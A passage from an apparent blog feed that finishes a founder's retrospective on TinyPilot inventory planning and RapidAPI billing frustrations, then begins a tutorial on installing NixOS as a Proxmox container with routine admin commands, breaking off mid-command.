&lt;p>If we run out of inventory, we have to pause sales. The last time we ran out of inventory was for four days in January 2022. Before that, it was one day in January 2021. I &lt;em>really&lt;/em> dislike running out of inventory.&lt;/p>
&lt;p>Given the slips in the manufacturing timeline, I&amp;rsquo;m evaluating what my options are to reduce the risk of running out of stock.&lt;/p>
&lt;h3 id="assumptions">Assumptions&lt;/h3>
&lt;ul>
&lt;li>TinyPilot sells 200 devices per month or about 50 devices per week.&lt;/li>
&lt;li>Every day that TinyPilot is out of stock, we lose about $3k in revenue and $2k in profit.&lt;/li>
&lt;/ul>
&lt;h3 id="what-does-the-current-schedule-look-like">What does the current schedule look like?&lt;/h3>
&lt;p>As of October 16th, we have 164 devices on hand, so we&amp;rsquo;re due to run out of inventory by about November 8th. We also have eight refurbished devices, so that maybe buys us an extra couple of days, so let&amp;rsquo;s call November 10th the day we sell out completely.&lt;/p>
&lt;p>Here&amp;rsquo;s a schedule of how our supply looks based on our manufacturer&amp;rsquo;s current estimates:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Date&lt;/th>
 &lt;th>Activity&lt;/th>
 &lt;th>Duration&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Oct. 19&lt;/td>
 &lt;td>Ship second sample from Vietnam to Massachusetts&lt;/td>
 &lt;td>7 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Oct. 26&lt;/td>
 &lt;td>Inspect second sample&lt;/td>
 &lt;td>1 day&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Oct. 27&lt;/td>
 &lt;td>Manufacture small production batch&lt;/td>
 &lt;td>4 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Oct. 31&lt;/td>
 &lt;td>Ship small production batch from Vietnam to Massachusetts (TinyPilot office)&lt;/td>
 &lt;td>7 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Nov. 7&lt;/td>
 &lt;td>Inspect small production batch&lt;/td>
 &lt;td>2 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Nov. 9&lt;/td>
 &lt;td>Manufacture large production batch&lt;/td>
 &lt;td>4 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Nov. 13&lt;/td>
 &lt;td>Ship large production batch from Vietnam to North Carolina (warehouse)&lt;/td>
 &lt;td>7 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Nov. 20&lt;/td>
 &lt;td>Large production batch is ready for fulfillment&lt;/td>
 &lt;td>1 day&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Based on these estimates, we&amp;rsquo;d avoid running out of inventory but just barely. The large production batch wouldn&amp;rsquo;t be ready until Nov. 20th, but the small production batch would tide us over until then.&lt;/p>
&lt;h3 id="do-we-skip-the-second-sample">Do we skip the second sample?&lt;/h3>
&lt;p>The first question is whether to do a minimal sample for the next batch or to do a batch big enough to ship to customers.&lt;/p>
&lt;p>If we cut out the second sample, the schedule looks like this:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Date&lt;/th>
 &lt;th>Activity&lt;/th>
 &lt;th>Duration&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Oct. 19&lt;/td>
 &lt;td>Ship small production batch from Vietnam to Massachusetts (TinyPilot office)&lt;/td>
 &lt;td>7 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Oct. 26&lt;/td>
 &lt;td>Inspect production batch&lt;/td>
 &lt;td>1 day&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Oct. 27&lt;/td>
 &lt;td>Manufacture large production batch&lt;/td>
 &lt;td>4 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Oct. 31&lt;/td>
 &lt;td>Ship large production batch from Vietnam to North Carolina (warehouse)&lt;/td>
 &lt;td>7 days&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Nov. 7&lt;/td>
 &lt;td>Large production batch is ready for fulfillment&lt;/td>
 &lt;td>1 day&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The only issue that was a real showstopper in the first batch was the chipped paint on the cases. Outside of that, the issues we caught were things we could repair at our office.&lt;/p>
&lt;p>The possibilities look like:&lt;/p>
&lt;ul>
&lt;li>Optimistic case (85% likely): Second sample wouldn&amp;rsquo;t have revealed any issues, so we&amp;rsquo;re ready with a production batch two weeks sooner.&lt;/li>
&lt;li>Pessimistic case (15% likely): 50+ devices need to be shipped back to Vietnam.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Decision&lt;/strong>: Skip the sample. Request photos and videos showing that the previous issues are fixed. It seems highly likely that any outstanding issues will be things that we can repair on our end if needed, and a two-week day delay is quite expensive.&lt;/p>
&lt;h3 id="do-we-make-more-devices-in-house">Do we make more devices in-house?&lt;/h3>
&lt;p>We could stretch out our inventory longer if we manufactured more devices in-house rather than waiting to transition to our manufacturing vendor. It&amp;rsquo;s definitely something we could do, as we&amp;rsquo;ve been manufacturing TinyPilots in-house for years, but there are complications with starting up our manufacturing pipeline again.&lt;/p>
&lt;p>The hardest problem is that there&amp;rsquo;s still a shortage of Raspberry Pis, and all the Pis that TinyPilot owns are with our manufacturer.&lt;/p>
&lt;p>We have an upcoming delivery scheduled, so we could re-route a shipment to our US address. That&amp;rsquo;s not very appealing because it was a lot of work to get the Raspberry Pi Foundation to update our shipping address to Vietnam and have all the customs forms in place. Asking them to change back for a single order has the potential to cause mistakes on future orders. It also means we have to order in multiples of 150 Pis, as that&amp;rsquo;s size of the box that Raspberry Pi ships in.&lt;/p>
&lt;p>We own the Raspberry Pi devices at the factory in Vietnam. We could ask our manufacturer to send us some of those. That allows us to request an arbitrary number, but there are likely also customs headaches in getting a UK-built product from Vietnam to the US.&lt;/p>
&lt;p>And even if we got our Pis, we&amp;rsquo;re still missing other components. We&amp;rsquo;d have to get some of our custom PCBs manufactured from our old PCB vendor in China. That should be okay, as they can usually turn around delivery in about a month. And the PCBs we need are about $2/unit, so that&amp;rsquo;s not so expensive.&lt;/p>
&lt;p>Cases are the next hardest item. Our old case vendor always claimed that their turnaround time was six weeks, but their &lt;em>actual&lt;/em> turnaround time was generally about three months. So, it&amp;rsquo;s possible that even if we asked for new cases, they wouldn&amp;rsquo;t be ready in time anyway. We still have 80 cases sitting at the factory in China that are ready to ship, but I&amp;rsquo;d asked them to hold off, as it didn&amp;rsquo;t make sense for us to have more cases than we had Raspberry Pis.&lt;/p>
&lt;p>We can&amp;rsquo;t get more cases in a timeline that&amp;rsquo;s useful, so we&amp;rsquo;d be limited to making 80 more devices, maximum.&lt;/p>
&lt;p>That means the possibilities look like:&lt;/p>
&lt;ul>
&lt;li>Optimistic case: There are no more delays, so we waste a lot of time and money building devices that the new factory could have made for us.&lt;/li>
&lt;li>Pessimistic case: There are more manufacturing delays, so making our own devices allows us to sell for 10 more days than we otherwise could have.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Decision&lt;/strong>: Don&amp;rsquo;t build more devices in-house. It&amp;rsquo;s a lot of time and money for something that, at best, gets us only 10 more days of inventory.&lt;/p>
&lt;h3 id="should-i-slow-down-sales">Should I slow down sales?&lt;/h3>
&lt;p>In addition to stretching out our buffer by making more devices in-house, I have a couple of levers that slow down the rate we sell TinyPilot devices.&lt;/p>
&lt;p>First, I could increase prices. We sell fewer TinyPilot devices &lt;a href="https://mtlynch.io/retrospectives/2023/05/#what-price-maximizes-profits">when prices are higher&lt;/a>, but it probably reduces our overall profits.&lt;/p>
&lt;p>Second, I can reduce marketing spend. There&amp;rsquo;s no use paying for ads if we&amp;rsquo;re going to receive more orders than we can fill.&lt;/p>
&lt;p>So, the possibilities here look like:&lt;/p>
&lt;ul>
&lt;li>Optimistic case: There&amp;rsquo;s no manufacturing delay, so deliberately reducing our sales volume forfeits $3-5k in profit.&lt;/li>
&lt;li>Pessimistic case: There are more manufacturing delays, so reducing sales preserves profits we&amp;rsquo;d forfeit with needless ad spending or selling for too low a price.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Decision&lt;/strong>: Don&amp;rsquo;t slow down yet, but revisit the decision if there are more delays or issues with the next inspection.&lt;/p>
&lt;h3 id="how-big-a-first-batch-do-we-order">How big a first batch do we order?&lt;/h3>
&lt;p>Before we make the full 400-ish unit batch, I want to get a smaller batch that we can inspect by hand.&lt;/p>
&lt;p>We want a large enough batch that it creates enough buffer for a subsequent batch to arrive.&lt;/p>
&lt;p>Let&amp;rsquo;s say it will take 10 days for a second batch to ship from Vietnam to our warehouse in North Carolina and be ready for fulfillment. 10 days means we need about 66 devices. The devices ship in boxes of 18, so let&amp;rsquo;s say we need 72 devices.&lt;/p>
&lt;p>&lt;strong>Decision&lt;/strong>: Order 72 devices for the small sample batch.&lt;/p>
&lt;h2 id="slowing-down-the-transition-to-fully-remote">Slowing down the transition to fully remote&lt;/h2>
&lt;p>With the schedule slip from the manufacturer, I became worried about my plan to move out of TinyPilot&amp;rsquo;s local office by the end of October.&lt;/p>
&lt;p>Without an office, it would be much harder for us to do things like inspect samples or perform repairs as needed.&lt;/p>
&lt;p>The day after I saw the first article sample, I called our landlord and asked to extend our lease. Fortunately, he hadn&amp;rsquo;t put the office on the market yet, so we can stay until the end of the year.&lt;/p>
&lt;p>I&amp;rsquo;m happy with this decision, as it allows us to slow down the number of major changes happening at once. I&amp;rsquo;d like to be all set with our new manufacturing pipeline before we start redesigning our remaining in-person activities to happen without an office.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="i-need-to-migrate-away-from-rapidapi-for-spite">I need to migrate away from RapidAPI&amp;hellip; for spite&lt;/h3>
&lt;blockquote>
&lt;p>&lt;strong>Jerry&lt;/strong>: I&amp;rsquo;d like to return this jacket.&lt;/p>
&lt;p>&lt;strong>Salesperson&lt;/strong>: Certainly, may I ask why?&lt;/p>
&lt;p>&lt;strong>Jerry&lt;/strong>: For spite.&lt;/p>
&lt;p>&lt;strong>Salesperson&lt;/strong>: Spite?&lt;/p>
&lt;p>&lt;strong>Jerry&lt;/strong>: That&amp;rsquo;s right. I don&amp;rsquo;t care for the salesman who sold it to me.&lt;/p>
&lt;p>&lt;em>Seinfeld&lt;/em>, &amp;ldquo;The Wig Master&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;p>One of the first projects I took on when I started out as a bootstrapper was &lt;a href="https://zestfuldata.com">Zestful&lt;/a>, my ingredient parsing API. It&amp;rsquo;s been in maintenance mode for years, but it still makes $100-200/month in passive income.&lt;/p>
&lt;p>The problem is that Zestful&amp;rsquo;s paying customers access the service through RapidAPI, one of the worst platforms I&amp;rsquo;ve ever used for anything. I originally published Zestful on a platform called Mashape, which worked pretty well, but then RapidAPI acquired Mashape and tanked the experience.&lt;/p>
&lt;p>I&amp;rsquo;ve had too many issues with RapidAPI to explain here, but the biggest issue is how terribly they handle metered billing. I charge Zestful customers $0.02 for each ingredient they parse. For inexplicable reasons, RapidAPI doesn&amp;rsquo;t report charges that users have accrued until the end of their billing cycle.&lt;/p>
&lt;p>Naturally, RapidAPI&amp;rsquo;s billing system confuses customers. They make a bunch of requests through Zestful, see that their bill is $0, think that their usage still fits in the free tier, keep making requests, then they get a surprise bill of hundreds or thousands of dollars and refuse to pay.&lt;/p>
&lt;p>I got a particularly egregious case of this two months ago. I saw that a user was racking up thousands of dollars in charges, so I messaged them through the platform, letting them know, and offered a custom plan that would save them money. They ignored me, and their final bill was $14.5k. RapidAPI tried billing their credit card a month later, and the payment was declined.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/10/rapidapi-billing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/10/rapidapi-billing_hu_8911be199ba7d470.png 300w, https://mtlynch.io/retrospectives/2023/10/rapidapi-billing_hu_5443c105059730d4.png 600w, https://mtlynch.io/retrospectives/2023/10/rapidapi-billing_hu_507ab31d3e6d560c.png 800w, https://mtlynch.io/retrospectives/2023/10/rapidapi-billing_hu_65146867cb156b7a.png 1200w, https://mtlynch.io/retrospectives/2023/10/rapidapi-billing.png 1252w'
 src="https://mtlynch.io/retrospectives/2023/10/rapidapi-billing.png" alt="Screenshot of RapidAPI showing failed payment of $14,512.23" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>RapidAPI allowed a customer to rack up $14k in charges before trying to bill them weeks later.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>RapidAPI does nothing to resolve this situation. They don&amp;rsquo;t attempt to charge the customer again, and they don&amp;rsquo;t even deactivate the customer&amp;rsquo;s account. The user can just happily keep running up charges against my service and never pay.&lt;/p>
&lt;p>You might assume that because RapidAPI is fairly hands-off, they have bargain basement prices. They&amp;rsquo;d, of course, charge less than similar providers like &lt;a href="https://www.paddle.com/">Paddle&lt;/a> and &lt;a href="https://www.lemonsqueezy.com/">LemonSqueezy&lt;/a>, who charge 5% of seller revenue.&lt;/p>
&lt;p>RapidAPI charges a whopping &lt;strong>20% of revenue&lt;/strong>!&lt;/p>
&lt;p>Effectively, it&amp;rsquo;s even higher than that because RapidAPI only pays through PayPal, who charges their own fee of 3% + $0.30 per transaction. And absurdly, RapidAPI makes separate payments for every customer. So, if you have five customers on RapidAPI, RapidAPI makes five separate payments and makes you pay PayPal&amp;rsquo;s transaction fee five separate times. I&amp;rsquo;ve received payments from RapidAPI where I lose as much as 80% to fees.&lt;/p>
&lt;p>I&amp;rsquo;ve tolerated RapidAPI this long because I&amp;rsquo;ve relegated Zestful to a weekend hobby project, and migrating to a new payment provider never feels like a fun hobby.&lt;/p>
&lt;p>Now, I&amp;rsquo;m motivated enough by spite for RapidAPI that I&amp;rsquo;ve begun experimenting on Paddle and LemonSqueezy to see if I can free myself from RapidAPI. It&amp;rsquo;s not &lt;em>really&lt;/em> worth the dev time to save $15/month, but I&amp;rsquo;d like to stop giving money to RapidAPI, and it&amp;rsquo;s handy to become familiar with a SaaS payment gateway that I&amp;rsquo;ll like.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/10/reasons.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/10/reasons_hu_a6a6b824cac66ecb.png 300w, https://mtlynch.io/retrospectives/2023/10/reasons_hu_484b648041730924.png 600w, https://mtlynch.io/retrospectives/2023/10/reasons.png 708w'
 src="https://mtlynch.io/retrospectives/2023/10/reasons.png" alt="Screenshot from The Simpsons Season 4 Episode 14 of list of reasosn to adobe a little brother, including spite, malice, revenge, and profit" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>“What are your reasons for switching SaaS payment gateways?”&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Evaluated first article samples from the contract manufacturer.&lt;/li>
&lt;li>Adapted to surprises in the manufacturing process.&lt;/li>
&lt;li>Made use of all the remaining new and used Raspberry Pis at our office.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Write out complicated decisions.
&lt;ul>
&lt;li>At the start of writing this retrospective, I didn&amp;rsquo;t have a good sense of how I should adapt to manufacturing delays. Describing the situation in writing made me realize that there were several questions I needed to answer, and writing down the considerations and risks made the decisions easier.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Shift manufacturing to our contract manufacturer as quickly as possible.&lt;/li>
&lt;li>Reduce manual effort from TinyPilot&amp;rsquo;s software release process.&lt;/li>
&lt;li>Create a plan for better enforcement of TinyPilot Pro licenses.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Running NixOS on Proxmox</title><link>https://mtlynch.io/notes/nixos-proxmox/</link><pubDate>Sun, 24 Sep 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/nixos-proxmox/</guid><description>&lt;div class="notice notice-info">
 &lt;strong>Compatibility&lt;/strong>: These instructions work as of Proxmox 8.x and NixOS 24.05.
&lt;/div>

&lt;p>One of the stumbling blocks I ran into when trying out NixOS was that I couldn&amp;rsquo;t run it under &lt;a href="https://www.proxmox.com/en/">Proxmox&lt;/a>, my preferred virtual machine server.&lt;/p>
&lt;p>Through some trial and error, I figured out how to install NixOS as a Proxmox container.&lt;/p>
&lt;h2 id="download-the-nixos-container-image">Download the NixOS container image&lt;/h2>
&lt;p>First, download the latest &lt;a href="https://hydra.nixos.org/job/nixos/release-24.05/nixos.lxdContainerImage.x86_64-linux">NixOS x86_x64 lxdContainerImage image&lt;/a>. For other hardware architectures, see &lt;a href="https://github.com/NixOS/nixpkgs/issues/43781#issuecomment-1707132209">this GitHub comment&lt;/a>.&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;strong>Compatibility&lt;/strong>: These instructions work as of Proxmox 8.x and NixOS 24.05.
&lt;/div>

&lt;p>One of the stumbling blocks I ran into when trying out NixOS was that I couldn&amp;rsquo;t run it under &lt;a href="https://www.proxmox.com/en/">Proxmox&lt;/a>, my preferred virtual machine server.&lt;/p>
&lt;p>Through some trial and error, I figured out how to install NixOS as a Proxmox container.&lt;/p>
&lt;h2 id="download-the-nixos-container-image">Download the NixOS container image&lt;/h2>
&lt;p>First, download the latest &lt;a href="https://hydra.nixos.org/job/nixos/release-24.05/nixos.lxdContainerImage.x86_64-linux">NixOS x86_x64 lxdContainerImage image&lt;/a>. For other hardware architectures, see &lt;a href="https://github.com/NixOS/nixpkgs/issues/43781#issuecomment-1707132209">this GitHub comment&lt;/a>.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Warning&lt;/strong>: Hydra also features a build called &lt;a href="https://hydra.nixos.org/job/nixos/release-24.05/nixos.proxmoxLXC.x86_64-linux">&lt;code>proxmoxLXC.x86_64-linux&lt;/code>&lt;/a>. I expected it to work even better on Proxmox, but it seems to be broken. It boots NixOS, but the login does not accept any standard NixOS credential (&lt;code>nixos&lt;/code>, &lt;code>root&lt;/code>).
&lt;/div>

&lt;p>At the time of this writing, the latest NixOS container build is &lt;a href="https://hydra.nixos.org/build/275970650">275970650&lt;/a>, but you can just click whatever is the latest build as you read this.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 724px">



 &lt;a href="https://mtlynch.io/notes/nixos-proxmox/download-build.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 724px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-proxmox/download-build_hu_3bb6227b917fb673.webp 300w, https://mtlynch.io/notes/nixos-proxmox/download-build_hu_f1cad43e5d631162.webp 600w, https://mtlynch.io/notes/nixos-proxmox/download-build.webp 722w'
 src="https://mtlynch.io/notes/nixos-proxmox/download-build.webp" alt="Screenshot of latest builds page, showing a NixOS container image build each day." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>From the build result page, click the link labeled &lt;code>nixos-system-x86_64-linux.tar.xz&lt;/code> to download the image:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/nixos-proxmox/build-result.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-proxmox/build-result_hu_a3da7f5b8c7ee168.webp 300w, https://mtlynch.io/notes/nixos-proxmox/build-result_hu_91a240a048469cc6.webp 600w, https://mtlynch.io/notes/nixos-proxmox/build-result_hu_f85f51b2b9b33ed6.webp 800w, https://mtlynch.io/notes/nixos-proxmox/build-result.webp 801w'
 src="https://mtlynch.io/notes/nixos-proxmox/build-result.webp" alt="Screenshot of metadata page for a NixOS build from 2023-09-21" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="upload-the-image-to-proxmox">Upload the image to Proxmox&lt;/h2>
&lt;p>Now, it&amp;rsquo;s time to upload the image to Proxmox. Scroll down to one of your Proxmox storage nodes.&lt;/p>
&lt;p>Click the storage node you&amp;rsquo;d like to use. The default is called &lt;code>local&lt;/code>, but you may have others.&lt;/p>













 















&lt;div class="img" style="max-width: 268px">



 &lt;a href="https://mtlynch.io/notes/nixos-proxmox/click-local.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 268px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-proxmox/click-local.webp 266w'
 src="https://mtlynch.io/notes/nixos-proxmox/click-local.webp" alt="Screenshot of local storage node menu item in the Server View of Proxmox" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>From the storage node, click &amp;ldquo;CT Templates,&amp;rdquo; and then click &amp;ldquo;Download from URL.&amp;rdquo;&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 549px">



 &lt;a href="https://mtlynch.io/notes/nixos-proxmox/ct-templates.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 549px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-proxmox/ct-templates_hu_ba8e6b33c23481da.webp 300w, https://mtlynch.io/notes/nixos-proxmox/ct-templates.webp 547w'
 src="https://mtlynch.io/notes/nixos-proxmox/ct-templates.webp" alt="Screenshot of settings pages for storage node, showing the CT Templates tab is selected and an arrow pointing to the Upload button" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The NixOS container image download doesn&amp;rsquo;t include any version or date information. For organization, I renamed my image file to:&lt;/p>
&lt;ul>
&lt;li>&lt;code>nixos-2024-10-21-lxdContainerImage.x86_64-linux.tar.xz&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Renaming will help you identify which version of NixOS this is when you see it later in Proxmox, though this step is optional.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/notes/nixos-proxmox/download-from-url.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-proxmox/download-from-url_hu_add46a5e63d19a04.webp 300w, https://mtlynch.io/notes/nixos-proxmox/download-from-url_hu_4166899075cb5b19.webp 600w, https://mtlynch.io/notes/nixos-proxmox/download-from-url.webp 600w'
 src="https://mtlynch.io/notes/nixos-proxmox/download-from-url.webp" alt="Screenshot of download settings showing the build URL at the top and the custom filename in the middle field" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Click &amp;ldquo;Download&amp;rdquo; to download the template to Proxmox.&lt;/p>
&lt;h2 id="create-a-nixos-container">Create a NixOS container&lt;/h2>
&lt;div class="notice notice-warning">
 &lt;strong>Warning&lt;/strong>: Creating a container through the Proxmox web UI does not work with this template. You need to perform this step through the Proxmox terminal.
&lt;/div>

&lt;p>For the next step, SSH to your Proxmox system and switch to the &lt;code>root&lt;/code> user context:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh root@pve
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From the Proxmox SSH session, select the settings for the new NixOS container:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Where the template file is located&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">TEMPLATE_STORAGE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;local&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Name of the template file downloaded from Hydra.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">TEMPLATE_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;nixos-2024-10-21-lxdContainerImage.x86_64-linux.tar.xz&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Name to assign to new NixOS container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">CONTAINER_HOSTNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;nixos&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Which storage location to place the new NixOS container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">CONTAINER_STORAGE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;local&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># How much RAM to assign the new container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">CONTAINER_RAM_IN_MB&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;8192&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># How much disk space to assign the new container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">CONTAINER_DISK_SIZE_IN_GB&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;80&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With those settings in place, create the new NixOS container with &lt;code>pct create&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>pct create &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>pvesh get /cluster/nextid&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --arch amd64 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">TEMPLATE_STORAGE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:vztmpl/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">TEMPLATE_FILE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --ostype unmanaged &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --description nixos &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --hostname &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CONTAINER_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --net0 &lt;span style="color:#40ffff">name&lt;/span>=eth0,bridge=vmbr0,ip=dhcp,firewall=&lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --storage &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CONTAINER_STORAGE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --memory &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CONTAINER_RAM_IN_MB&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
